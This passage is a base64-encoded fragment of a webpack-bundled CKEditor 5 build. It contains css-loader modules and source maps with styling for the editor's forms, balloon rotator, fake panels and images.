x3REFXRCxDQVRDLDZEQUNDLFdBQVksQ0FDWixVQUNELENBR0EsNEVBQ0Msa0JBQ0QsQ0FJRCxpR0FFQyxrQ0FBbUMsQ0FDbkMsa0NBQW1DLENBRW5DLGVBQWdCLENBQ2hCLFFBQVMsQ0FDVCxnREFhRCxDQXBCQSwwT0FjRSxhQU1GLENBR0MseU1BQ0Msa0RBQ0QsQ0RwRUYiLHNvdXJjZXNDb250ZW50OlsnLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG5AaW1wb3J0ICJAY2tlZGl0b3IvY2tlZGl0b3I1LXVpL3RoZW1lL21peGlucy9fcndkLmNzcyI7XG5cbi5jay12ZXJ0aWNhbC1mb3JtIC5jay1idXR0b246OmFmdGVyIHtcblx0Y29udGVudDogIiI7XG5cdHdpZHRoOiAwO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHJpZ2h0OiAtMXB4O1xuXHR0b3A6IHZhcigtLWNrLXNwYWNpbmctc21hbGwpO1xuXHRib3R0b206IHZhcigtLWNrLXNwYWNpbmctc21hbGwpO1xuXHR6LWluZGV4OiAxO1xufVxuXG4uY2suY2stcmVzcG9uc2l2ZS1mb3JtIHtcblx0QG1peGluIGNrLW1lZGlhLXBob25lIHtcblx0XHQmIC5jay1idXR0b246OmFmdGVyIHtcblx0XHRcdGNvbnRlbnQ6ICIiO1xuXHRcdFx0d2lkdGg6IDA7XG5cdFx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0XHRyaWdodDogLTFweDtcblx0XHRcdHRvcDogdmFyKC0tY2stc3BhY2luZy1zbWFsbCk7XG5cdFx0XHRib3R0b206IHZhcigtLWNrLXNwYWNpbmctc21hbGwpO1xuXHRcdFx0ei1pbmRleDogMTtcblx0XHR9XG5cdH1cbn1cbicsIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuQGRlZmluZS1taXhpbiBjay1tZWRpYS1waG9uZSB7XG5cdEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6IDYwMHB4KSB7XG5cdFx0QG1peGluLWNvbnRlbnQ7XG5cdH1cbn1cbiIsJy8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuQGltcG9ydCAiQGNrZWRpdG9yL2NrZWRpdG9yNS11aS90aGVtZS9taXhpbnMvX3J3ZC5jc3MiO1xuQGltcG9ydCAiQGNrZWRpdG9yL2NrZWRpdG9yNS11aS90aGVtZS9taXhpbnMvX2Rpci5jc3MiO1xuXG4uY2stdmVydGljYWwtZm9ybSA+IC5jay1idXR0b246bnRoLWxhc3QtY2hpbGQoMik6OmFmdGVyIHtcblx0Ym9yZGVyLXJpZ2h0OiAxcHggc29saWQgdmFyKC0tY2stY29sb3ItYmFzZS1ib3JkZXIpO1xufVxuXG4uY2suY2stcmVzcG9uc2l2ZS1mb3JtIHtcblx0cGFkZGluZzogdmFyKC0tY2stc3BhY2luZy1sYXJnZSk7XG5cblx0Jjpmb2N1cyB7XG5cdFx0LyogU2VlOiBodHRwczovL2dpdGh1Yi5jb20vY2tlZGl0b3IvY2tlZGl0b3I1L2lzc3Vlcy80NzczICovXG5cdFx0b3V0bGluZTogbm9uZTtcblx0fVxuXG5cdEBtaXhpbiBjay1kaXIgbHRyIHtcblx0XHQmID4gOm5vdCg6Zmlyc3QtY2hpbGQpIHtcblx0XHRcdG1hcmdpbi1sZWZ0OiB2YXIoLS1jay1zcGFjaW5nLXN0YW5kYXJkKTtcblx0XHR9XG5cdH1cblxuXHRAbWl4aW4gY2stZGlyIHJ0bCB7XG5cdFx0JiA+IDpub3QoOmxhc3QtY2hpbGQpIHtcblx0XHRcdG1hcmdpbi1sZWZ0OiB2YXIoLS1jay1zcGFjaW5nLXN0YW5kYXJkKTtcblx0XHR9XG5cdH1cblxuXHRAbWl4aW4gY2stbWVkaWEtcGhvbmUge1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0d2lkdGg6IGNhbGMoLjggKiB2YXIoLS1jay1pbnB1dC10ZXh0LXdpZHRoKSk7XG5cblx0XHQmIC5jay1sYWJlbGVkLWZpZWxkLXZpZXcge1xuXHRcdFx0bWFyZ2luOiB2YXIoLS1jay1zcGFjaW5nLWxhcmdlKSB2YXIoLS1jay1zcGFjaW5nLWxhcmdlKSAwO1xuXG5cdFx0XHQmIC5jay1pbnB1dC10ZXh0IHtcblx0XHRcdFx0bWluLXdpZHRoOiAwO1xuXHRcdFx0XHR3aWR0aDogMTAwJTtcblx0XHRcdH1cblxuXHRcdFx0LyogTGV0IHRoZSBsb25nIGVycm9yIG1lc3NhZ2VzIHdyYXAgaW4gdGhlIG5hcnJvdyBmb3JtLiAqL1xuXHRcdFx0JiAuY2stbGFiZWxlZC1maWVsZC12aWV3X19lcnJvciB7XG5cdFx0XHRcdHdoaXRlLXNwYWNlOiBub3JtYWw7XG5cdFx0XHR9XG5cdFx0fVxuXG5cdFx0LyogU3R5bGVzIGZvciB0d28gbGFzdCBidXR0b25zIGluIHRoZSBmb3JtIChzYXZlJmNhbmNlbCwgZWRpdCZ1bmxpbmssIGV0Yy4pLiAqL1xuXHRcdCYgPiAuY2stYnV0dG9uOm50aC1sYXN0LWNoaWxkKDEpLFxuXHRcdCYgPiAuY2stYnV0dG9uOm50aC1sYXN0LWNoaWxkKDIpIHtcblx0XHRcdHBhZGRpbmc6IHZhcigtLWNrLXNwYWNpbmctc3RhbmRhcmQpO1xuXHRcdFx0bWFyZ2luLXRvcDogdmFyKC0tY2stc3BhY2luZy1sYXJnZSk7XG5cblx0XHRcdGJvcmRlci1yYWRpdXM6IDA7XG5cdFx0XHRib3JkZXI6IDA7XG5cdFx0XHRib3JkZXItdG9wOiAxcHggc29saWQgdmFyKC0tY2stY29sb3ItYmFzZS1ib3JkZXIpO1xuXG5cdFx0XHRAbWl4aW4gY2stZGlyIGx0ciB7XG5cdFx0XHRcdG1hcmdpbi1sZWZ0OiAwO1xuXHRcdFx0fVxuXG5cdFx0XHRAbWl4aW4gY2stZGlyIHJ0bCB7XG5cdFx0XHRcdG1hcmdpbi1sZWZ0OiAwO1xuXG5cdFx0XHRcdCY6bGFzdC1vZi10eXBlIHtcblx0XHRcdFx0XHRib3JkZXItcmlnaHQ6IDFweCBzb2xpZCB2YXIoLS1jay1jb2xvci1iYXNlLWJvcmRlcik7XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHR9XG5cblx0XHQmID4gLmNrLWJ1dHRvbjpudGgtbGFzdC1jaGlsZCgyKSB7XG5cdFx0XHQmOjphZnRlciB7XG5cdFx0XHRcdGJvcmRlci1yaWdodDogMXB4IHNvbGlkIHZhcigtLWNrLWNvbG9yLWJhc2UtYm9yZGVyKTtcblx0XHRcdH1cblx0XHR9XG5cdH1cbn1cbiddLHNvdXJjZVJvb3Q6IiJ9XSk7ZVsiYSJdPWF9LGZ1bmN0aW9uKHQsZSxuKXsidXNlIHN0cmljdCI7dmFyIGk9bigyKTt2YXIgbz1uLm4oaSk7dmFyIHI9bigzKTt2YXIgcz1uLm4ocik7dmFyIGE9cygpKG8uYSk7YS5wdXNoKFt0LmksIi5jayAuY2stYmFsbG9vbi1yb3RhdG9yX19uYXZpZ2F0aW9ue2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OmNlbnRlcn0uY2sgLmNrLWJhbGxvb24tcm90YXRvcl9fY29udGVudCAuY2stdG9vbGJhcntqdXN0aWZ5LWNvbnRlbnQ6Y2VudGVyfS5jayAuY2stYmFsbG9vbi1yb3RhdG9yX19uYXZpZ2F0aW9ue2JhY2tncm91bmQ6dmFyKC0tY2stY29sb3ItdG9vbGJhci1iYWNrZ3JvdW5kKTtib3JkZXItYm90dG9tOjFweCBzb2xpZCB2YXIoLS1jay1jb2xvci10b29sYmFyLWJvcmRlcik7cGFkZGluZzowIHZhcigtLWNrLXNwYWNpbmctc21hbGwpfS5jayAuY2stYmFsbG9vbi1yb3RhdG9yX19uYXZpZ2F0aW9uPip7bWFyZ2luLXJpZ2h0OnZhcigtLWNrLXNwYWNpbmctc21hbGwpO21hcmdpbi10b3A6dmFyKC0tY2stc3BhY2luZy1zbWFsbCk7bWFyZ2luLWJvdHRvbTp2YXIoLS1jay1zcGFjaW5nLXNtYWxsKX0uY2sgLmNrLWJhbGxvb24tcm90YXRvcl9fbmF2aWdhdGlvbiAuY2stYmFsbG9vbi1yb3RhdG9yX19jb3VudGVye21hcmdpbi1yaWdodDp2YXIoLS1jay1zcGFjaW5nLXN0YW5kYXJkKTttYXJnaW4tbGVmdDp2YXIoLS1jay1zcGFjaW5nLXNtYWxsKX0uY2sgLmNrLWJhbGxvb24tcm90YXRvcl9fY29udGVudCAuY2suY2stYW5ub3RhdGlvbi13cmFwcGVye2JveC1zaGFkb3c6bm9uZX0iLCIiLHt2ZXJzaW9uOjMsc291cmNlczpbIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXVpL3RoZW1lL2NvbXBvbmVudHMvcGFuZWwvYmFsbG9vbnJvdGF0b3IuY3NzIiwid2VicGFjazovLy4vbm9kZV9tb2R1bGVzL0Bja2VkaXRvci9ja2VkaXRvcjUtdGhlbWUtbGFyay90aGVtZS9ja2VkaXRvcjUtdWkvY29tcG9uZW50cy9wYW5lbC9iYWxsb29ucm90YXRvci5jc3MiXSxuYW1lczpbXSxtYXBwaW5nczoiQUFLQSxvQ0FDQyxZQUFhLENBQ2Isa0JBQW1CLENBQ25CLHNCQUNELENBS0EsNkNBQ0Msc0JBQ0QsQ0NYQSxvQ0FDQyw2Q0FBOEMsQ0FDOUMsc0RBQXVELENBQ3ZELGlDQWdCRCxDQWJDLHNDQUNDLG9DQUFxQyxDQUNyQyxrQ0FBbUMsQ0FDbkMscUNBQ0QsQ0FHQSxpRUFDQyx1Q0FBd0MsQ0FHeEMsbUNBQ0QsQ0FNQSwyREFDQyxlQUNEIixzb3VyY2VzQ29udGVudDpbIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuLmNrIC5jay1iYWxsb29uLXJvdGF0b3JfX25hdmlnYXRpb24ge1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbn1cblxuLyogQnV0dG9ucyBpbnNpZGUgYSB0b29sYmFyIHNob3VsZCBiZSBjZW50ZXJlZCB3aGVuIHJvdGF0b3IgYmFyIGlzIHdpZGVyLlxuICogU2VlOiBodHRwczovL2dpdGh1Yi5jb20vY2tlZGl0b3IvY2tlZGl0b3I1LXVpL2lzc3Vlcy80OTVcbiAqL1xuLmNrIC5jay1iYWxsb29uLXJvdGF0b3JfX2NvbnRlbnQgLmNrLXRvb2xiYXIge1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbn1cbiIsIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuLmNrIC5jay1iYWxsb29uLXJvdGF0b3JfX25hdmlnYXRpb24ge1xuXHRiYWNrZ3JvdW5kOiB2YXIoLS1jay1jb2xvci10b29sYmFyLWJhY2tncm91bmQpO1xuXHRib3JkZXItYm90dG9tOiAxcHggc29saWQgdmFyKC0tY2stY29sb3ItdG9vbGJhci1ib3JkZXIpO1xuXHRwYWRkaW5nOiAwIHZhcigtLWNrLXNwYWNpbmctc21hbGwpO1xuXG5cdC8qIExldCdzIGtlZXAgc2ltaWxhciBhcHBlYXJhbmNlIHRvIGBjay10b29sYmFyYC4gKi9cblx0JiA+ICoge1xuXHRcdG1hcmdpbi1yaWdodDogdmFyKC0tY2stc3BhY2luZy1zbWFsbCk7XG5cdFx0bWFyZ2luLXRvcDogdmFyKC0tY2stc3BhY2luZy1zbWFsbCk7XG5cdFx0bWFyZ2luLWJvdHRvbTogdmFyKC0tY2stc3BhY2luZy1zbWFsbCk7XG5cdH1cblxuXHQvKiBHaXZlcyBjb3VudGVyIG1vcmUgYnJlYXRoIHRoYW4gYnV0dG9ucy4gKi9cblx0JiAuY2stYmFsbG9vbi1yb3RhdG9yX19jb3VudGVyIHtcblx0XHRtYXJnaW4tcmlnaHQ6IHZhcigtLWNrLXNwYWNpbmctc3RhbmRhcmQpO1xuXG5cdFx0LyogV2UgbmVlZCB0byB1c2Ugc21hbGxlciBtYXJnaW4gYmVjYXVzZSBvZiBwcmV2aW91cyBidXR0b24ncyByaWdodCBtYXJnaW4uICovXG5cdFx0bWFyZ2luLWxlZnQ6IHZhcigtLWNrLXNwYWNpbmctc21hbGwpO1xuXHR9XG59XG5cbi5jayAuY2stYmFsbG9vbi1yb3RhdG9yX19jb250ZW50IHtcblxuXHQvKiBEaXNhYmxlIGRlZmF1bHQgYW5ub3RhdGlvbiBzaGFkb3cgaW5zaWRlIHJvdGF0b3Igd2l0aCBmYWtlIHBhbmVscy4gKi9cblx0JiAuY2suY2stYW5ub3RhdGlvbi13cmFwcGVyIHtcblx0XHRib3gtc2hhZG93OiBub25lO1xuXHR9XG59XG4iXSxzb3VyY2VSb290OiIifV0pO2VbImEiXT1hfSxmdW5jdGlvbih0LGUsbil7InVzZSBzdHJpY3QiO3ZhciBpPW4oMik7dmFyIG89bi5uKGkpO3ZhciByPW4oMyk7dmFyIHM9bi5uKHIpO3ZhciBhPXMoKShvLmEpO2EucHVzaChbdC5pLCIuY2sgLmNrLWZha2UtcGFuZWx7cG9zaXRpb246YWJzb2x1dGU7ei1pbmRleDpjYWxjKHZhcigtLWNrLXotbW9kYWwpIC0gMSl9LmNrIC5jay1mYWtlLXBhbmVsIGRpdntwb3NpdGlvbjphYnNvbHV0ZX0uY2sgLmNrLWZha2UtcGFuZWwgZGl2OmZpcnN0LWNoaWxke3otaW5kZXg6Mn0uY2sgLmNrLWZha2UtcGFuZWwgZGl2Om50aC1jaGlsZCgyKXt6LWluZGV4OjF9OnJvb3R7LS1jay1iYWxsb29uLWZha2UtcGFuZWwtb2Zmc2V0LWhvcml6b250YWw6NnB4Oy0tY2stYmFsbG9vbi1mYWtlLXBhbmVsLW9mZnNldC12ZXJ0aWNhbDo2cHh9LmNrIC5jay1mYWtlLXBhbmVsIGRpdntib3gtc2hhZG93OnZhcigtLWNrLWRyb3Atc2hhZG93KSwwIDA7bWluLWhlaWdodDoxNXB4O2JhY2tncm91bmQ6dmFyKC0tY2stY29sb3ItcGFuZWwtYmFja2dyb3VuZCk7Ym9yZGVyOjFweCBzb2xpZCB2YXIoLS1jay1jb2xvci1wYW5lbC1ib3JkZXIpO2JvcmRlci1yYWRpdXM6dmFyKC0tY2stYm9yZGVyLXJhZGl1cyk7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJX0uY2sgLmNrLWZha2UtcGFuZWwgZGl2OmZpcnN0LWNoaWxke21hcmdpbi1sZWZ0OnZhcigtLWNrLWJhbGxvb24tZmFrZS1wYW5lbC1vZmZzZXQtaG9yaXpvbnRhbCk7bWFyZ2luLXRvcDp2YXIoLS1jay1iYWxsb29uLWZha2UtcGFuZWwtb2Zmc2V0LXZlcnRpY2FsKX0uY2sgLmNrLWZha2UtcGFuZWwgZGl2Om50aC1jaGlsZCgyKXttYXJnaW4tbGVmdDpjYWxjKHZhcigtLWNrLWJhbGxvb24tZmFrZS1wYW5lbC1vZmZzZXQtaG9yaXpvbnRhbCkqMik7bWFyZ2luLXRvcDpjYWxjKHZhcigtLWNrLWJhbGxvb24tZmFrZS1wYW5lbC1vZmZzZXQtdmVydGljYWwpKjIpfS5jayAuY2stZmFrZS1wYW5lbCBkaXY6bnRoLWNoaWxkKDMpe21hcmdpbi1sZWZ0OmNhbGModmFyKC0tY2stYmFsbG9vbi1mYWtlLXBhbmVsLW9mZnNldC1ob3Jpem9udGFsKSozKTttYXJnaW4tdG9wOmNhbGModmFyKC0tY2stYmFsbG9vbi1mYWtlLXBhbmVsLW9mZnNldC12ZXJ0aWNhbCkqMyl9LmNrIC5jay1iYWxsb29uLXBhbmVsX2Fycm93X3MrLmNrLWZha2UtcGFuZWwsLmNrIC5jay1iYWxsb29uLXBhbmVsX2Fycm93X3NlKy5jay1mYWtlLXBhbmVsLC5jayAuY2stYmFsbG9vbi1wYW5lbF9hcnJvd19zdysuY2stZmFrZS1wYW5lbHstLWNrLWJhbGxvb24tZmFrZS1wYW5lbC1vZmZzZXQtdmVydGljYWw6LTZweH0iLCIiLHt2ZXJzaW9uOjMsc291cmNlczpbIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXVpL3RoZW1lL2NvbXBvbmVudHMvcGFuZWwvZmFrZXBhbmVsLmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvY2tlZGl0b3I1LXVpL2NvbXBvbmVudHMvcGFuZWwvZmFrZXBhbmVsLmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvbWl4aW5zL19zaGFkb3cuY3NzIl0sbmFtZXM6W10sbWFwcGluZ3M6IkFBS0EsbUJBQ0MsaUJBQWtCLENBR2xCLG1DQUNELENBRUEsdUJBQ0MsaUJBQ0QsQ0FFQSxtQ0FDQyxTQUNELENBRUEsb0NBQ0MsU0FDRCxDQ2ZBLE1BQ0MsNkNBQThDLENBQzlDLDJDQUNELENBR0EsdUJDSkMsb0NBQThCLENETzlCLGVBQWdCLENBRWhCLDJDQUE0QyxDQUM1Qyw2Q0FBOEMsQ0FDOUMscUNBQXNDLENBRXRDLFVBQVcsQ0FDWCxXQUNELENBRUEsbUNBQ0MsMERBQTJELENBQzNELHVEQUNELENBRUEsb0NBQ0Msa0VBQXFFLENBQ3JFLCtEQUNELENBQ0Esb0NBQ0Msa0VBQXFFLENBQ3JFLCtEQUNELENBR0EseUlBR0MsNENBQ0QiLHNvdXJjZXNDb250ZW50OlsiLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG4uY2sgLmNrLWZha2UtcGFuZWwge1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cblx0LyogRmFrZSBwYW5lbHMgc2hvdWxkIGJlIHBsYWNlZCB1bmRlciBtYWluIGJhbGxvb24gY29udGVudC4gKi9cblx0ei1pbmRleDogY2FsYyh2YXIoLS1jay16LW1vZGFsKSAtIDEpO1xufVxuXG4uY2sgLmNrLWZha2UtcGFuZWwgZGl2IHtcblx0cG9zaXRpb246IGFic29sdXRlO1xufVxuXG4uY2sgLmNrLWZha2UtcGFuZWwgZGl2Om50aC1jaGlsZCggMSApIHtcblx0ei1pbmRleDogMjtcbn1cblxuLmNrIC5jay1mYWtlLXBhbmVsIGRpdjpudGgtY2hpbGQoIDIgKSB7XG5cdHotaW5kZXg6IDE7XG59XG4iLCcvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbkBpbXBvcnQgIi4uLy4uLy4uL21peGlucy9fc2hhZG93LmNzcyI7XG5cbjpyb290IHtcblx0LS1jay1iYWxsb29uLWZha2UtcGFuZWwtb2Zmc2V0LWhvcml6b250YWw6IDZweDtcblx0LS1jay1iYWxsb29uLWZha2UtcGFuZWwtb2Zmc2V0LXZlcnRpY2FsOiA2cHg7XG59XG5cbi8qIExldFwncyB1c2UgYC5jay1iYWxsb29uLXBhbmVsYCBhcHBlYXJhbmNlLiBTZWU6IGJhbGxvb25wYW5lbC5jc3MuICovXG4uY2sgLmNrLWZha2UtcGFuZWwgZGl2IHtcblx0QG1peGluIGNrLWRyb3Atc2hhZG93O1xuXG5cdG1pbi1oZWlnaHQ6IDE1cHg7XG5cblx0YmFja2dyb3VuZDogdmFyKC0tY2stY29sb3ItcGFuZWwtYmFja2dyb3VuZCk7XG5cdGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWNrLWNvbG9yLXBhbmVsLWJvcmRlcik7XG5cdGJvcmRlci1yYWRpdXM6IHZhcigtLWNrLWJvcmRlci1yYWRpdXMpO1xuXG5cdHdpZHRoOiAxMDAlO1xuXHRoZWlnaHQ6IDEwMCU7XG59XG5cbi5jayAuY2stZmFrZS1wYW5lbCBkaXY6bnRoLWNoaWxkKCAxICkge1xuXHRtYXJnaW4tbGVmdDogdmFyKC0tY2stYmFsbG9vbi1mYWtlLXBhbmVsLW9mZnNldC1ob3Jpem9udGFsKTtcblx0bWFyZ2luLXRvcDogdmFyKC0tY2stYmFsbG9vbi1mYWtlLXBhbmVsLW9mZnNldC12ZXJ0aWNhbCk7XG59XG5cbi5jayAuY2stZmFrZS1wYW5lbCBkaXY6bnRoLWNoaWxkKCAyICkge1xuXHRtYXJnaW4tbGVmdDogY2FsYyh2YXIoLS1jay1iYWxsb29uLWZha2UtcGFuZWwtb2Zmc2V0LWhvcml6b250YWwpICogMik7XG5cdG1hcmdpbi10b3A6IGNhbGModmFyKC0tY2stYmFsbG9vbi1mYWtlLXBhbmVsLW9mZnNldC12ZXJ0aWNhbCkgKiAyKTtcbn1cbi5jayAuY2stZmFrZS1wYW5lbCBkaXY6bnRoLWNoaWxkKCAzICkge1xuXHRtYXJnaW4tbGVmdDogY2FsYyh2YXIoLS1jay1iYWxsb29uLWZha2UtcGFuZWwtb2Zmc2V0LWhvcml6b250YWwpICogMyk7XG5cdG1hcmdpbi10b3A6IGNhbGModmFyKC0tY2stYmFsbG9vbi1mYWtlLXBhbmVsLW9mZnNldC12ZXJ0aWNhbCkgKiAzKTtcbn1cblxuLyogSWYgYmFsbG9vbiBpcyBwb3NpdGlvbmVkIGFib3ZlIGVsZW1lbnQsIHdlIG5lZWQgdG8gbW92ZSBmYWtlIHBhbmVsIHRvIHRoZSB0b3AuICovXG4uY2sgLmNrLWJhbGxvb24tcGFuZWxfYXJyb3dfcyArIC5jay1mYWtlLXBhbmVsLFxuLmNrIC5jay1iYWxsb29uLXBhbmVsX2Fycm93X3NlICsgLmNrLWZha2UtcGFuZWwsXG4uY2sgLmNrLWJhbGxvb24tcGFuZWxfYXJyb3dfc3cgKyAuY2stZmFrZS1wYW5lbCB7XG5cdC0tY2stYmFsbG9vbi1mYWtlLXBhbmVsLW9mZnNldC12ZXJ0aWNhbDogLTZweDtcbn1cbicsIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuLyoqXG4gKiBBIGhlbHBlciB0byBjb21iaW5lIG11bHRpcGxlIHNoYWRvd3MuXG4gKi9cbkBkZWZpbmUtbWl4aW4gY2stYm94LXNoYWRvdyAkc2hhZG93QSwgJHNoYWRvd0I6IDAgMCB7XG5cdGJveC1zaGFkb3c6ICRzaGFkb3dBLCAkc2hhZG93Qjtcbn1cblxuLyoqXG4gKiBHaXZlcyBhbiBlbGVtZW50IGEgZHJvcCBzaGFkb3cgc28gaXQgbG9va3MgbGlrZSBhIGZsb2F0aW5nIHBhbmVsLlxuICovXG5AZGVmaW5lLW1peGluIGNrLWRyb3Atc2hhZG93IHtcblx0QG1peGluIGNrLWJveC1zaGFkb3cgdmFyKC0tY2stZHJvcC1zaGFkb3cpO1xufVxuIl0sc291cmNlUm9vdDoiIn1dKTtlWyJhIl09YX0sZnVuY3Rpb24odCxlLG4peyJ1c2Ugc3RyaWN0Ijt2YXIgaT1uKDIpO3ZhciBvPW4ubihpKTt2YXIgcj1uKDMpO3ZhciBzPW4ubihyKTt2YXIgYT1zKCkoby5hKTthLnB1c2goW3QuaSwiLmNrLWNvbnRlbnQgLmltYWdle2Rpc3BsYXk6dGFibGU7Y2xlYXI6Ym90aDt0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46MWVtIGF1dG99LmNrLWNvbnRlbnQgLmltYWdlIGltZ3tkaXNwbGF5OmJsb2NrO21hcmdpbjowIGF1dG87bWF4LXdpZHRoOjEwMCU7bWluLXdpZHRoOjUwcHh9IiwiIix7dmVyc2lvbjozLHNvdXJjZXM6WyJ3ZWJwYWNrOi8vLi9ub2RlX21vZHVsZXMvQGNrZWRpdG9yL2NrZWRpdG9yNS1pbWFnZS90aGVtZS9pbWFnZS5jc3MiXSxuYW1lczpbXSxtYXBwaW5nczoiQUFLQSxtQkFDQyxhQUFjLENBQ2QsVUFBVyxDQUNYLGlCQUFrQixDQUdsQixlQWVELENBYkMsdUJBRUMsYUFBYyxDQUdkLGFBQWMsQ0FHZCxjQUFlLENBR2YsY0FDRCIsc291cmNlc0NvbnRlbnQ6WyIvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbi5jay1jb250ZW50IC5pbWFnZSB7XG5cdGRpc3BsYXk6IHRhYmxlO1xuXHRjbGVhcjogYm90aDtcblx0dGV4dC1hbGlnbjogY2VudGVyO1xuXG5cdC8qIE1ha2Ugc3VyZSB0aGVyZSBpcyBzb21lIHNwYWNlIGJldHdlZW4gdGhlIGNvbnRlbnQgYW5kIHRoZSBpbWFnZS4gQ2VudGVyIGltYWdlIGJ5IGRlZmF1bHQuICovXG5cdG1hcmdpbjogMWVtIGF1dG87XG5cblx0JiBpbWcge1xuXHRcdC8qIFByZXZlbnQgdW5uZWNlc3NhcnkgbWFyZ2lucyBjYXVzZWQgYnkgbGluZS1oZWlnaHQgKHNlZSAjNDQpLiAqL1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXG5cdFx0LyogQ2VudGVyIHRoZSBpbWFnZSBpZiBpdHMgd2lkdGggaXMgc21hbGxlciB0aGFuIHRoZSBjb250ZW50J3Mgd2lkdGguICovXG5cdFx0bWFyZ2luOiAwIGF1dG87XG5cblx0XHQvKiBNYWtlIHN1cmUgdGhlIGltYWdlIG5ldmVyIGV4Y2VlZHMgdGhlIHNpemUgb2YgdGhlIHBhcmVudCBjb250YWluZXIgKGNrZWRpdG9yL2NrZWRpdG9yNS11aSM2NykuICovXG5cdFx0bWF4LXdpZHRoOiAxMDAlO1xuXG5cdFx0LyogTWFrZSBzdXJlIHRoZSBjYXB0aW9uIHdpbGwgYmUgZGlzcGxheWVkIHByb3Blcmx5IChTZWU6IGh0dHBzOi8vZ2l0aHViLmNvbS9ja2VkaXRvci9ja2VkaXRvcjUvaXNzdWVzLzE4NzApLiAqL1xuXHRcdG1pbi13aWR0aDog